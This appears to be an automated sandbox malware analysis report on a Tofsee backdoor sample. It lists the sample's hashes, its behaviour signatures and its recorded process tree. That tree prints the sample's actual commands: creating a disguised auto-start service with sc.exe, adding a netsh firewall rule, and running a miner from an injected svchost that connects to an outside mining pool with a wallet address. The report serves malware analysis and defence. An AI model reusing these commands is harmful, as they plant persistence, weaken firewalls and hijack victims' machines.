Overview

overview

10

Static

static

967692708e...dd.exe

windows7_x64

10

967692708e...dd.exe

windows10_x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    15/11/2020, 23:13

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General

  • Target
    967692708e762fda8ecb0b971aa06e33bca0b9d97b22ac7ffe8297df40a136dd.exe
  • Size 13.0MB
  • Sample201115-mr3kgfxpha
  • SHA256 967692708e762fda8ecb0b971aa06e33bca0b9d97b22ac7ffe8297df40a136dd
  • MD5 SHA1 SHA512
Score
10/10
tofseeevasionpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
    persistence
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\967692708e762fda8ecb0b971aa06e33bca0b9d97b22ac7ffe8297df40a136dd.exe
    "C:\Users\Admin\AppData\Local\Temp\967692708e762fda8ecb0b971aa06e33bca0b9d97b22ac7ffe8297df40a136dd.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4696
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\pzpmboxg\
      2⤵
        PID:1840
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\kmhypjqj.exe" C:\Windows\SysWOW64\pzpmboxg\
        2⤵
          PID:3696
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create pzpmboxg binPath= "C:\Windows\SysWOW64\pzpmboxg\kmhypjqj.exe /d\"C:\Users\Admin\AppData\Local\Temp\967692708e762fda8ecb0b971aa06e33bca0b9d97b22ac7ffe8297df40a136dd.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:736
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description pzpmboxg "wifi internet conection"
            2⤵
              PID:3168
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start pzpmboxg
              2⤵
                PID:3180
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:4348
              • C:\Windows\SysWOW64\pzpmboxg\kmhypjqj.exe
                C:\Windows\SysWOW64\pzpmboxg\kmhypjqj.exe /d"C:\Users\Admin\AppData\Local\Temp\967692708e762fda8ecb0b971aa06e33bca0b9d97b22ac7ffe8297df40a136dd.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:4252
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:512
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1296

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

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                    Downloads

                    memory/512-13-0x0000000000D50000-0x0000000000D60000-memory.dmp
                    Download

                    memory/512-12-0x00000000009E0000-0x00000000009E6000-memory.dmp
                    Download

                    memory/512-16-0x0000000000DD0000-0x0000000000DD7000-memory.dmp
                    Download

                    memory/512-15-0x0000000009150000-0x000000000955B000-memory.dmp
                    Download

                    memory/512-7-0x00000000009B0000-0x00000000009C5000-memory.dmp
                    Download

                    memory/512-14-0x0000000000D60000-0x0000000000D65000-memory.dmp
                    Download

                    memory/512-11-0x0000000004990000-0x0000000004B9F000-memory.dmp
                    Download

                    memory/1296-17-0x0000000003270000-0x0000000003361000-memory.dmp
                    Download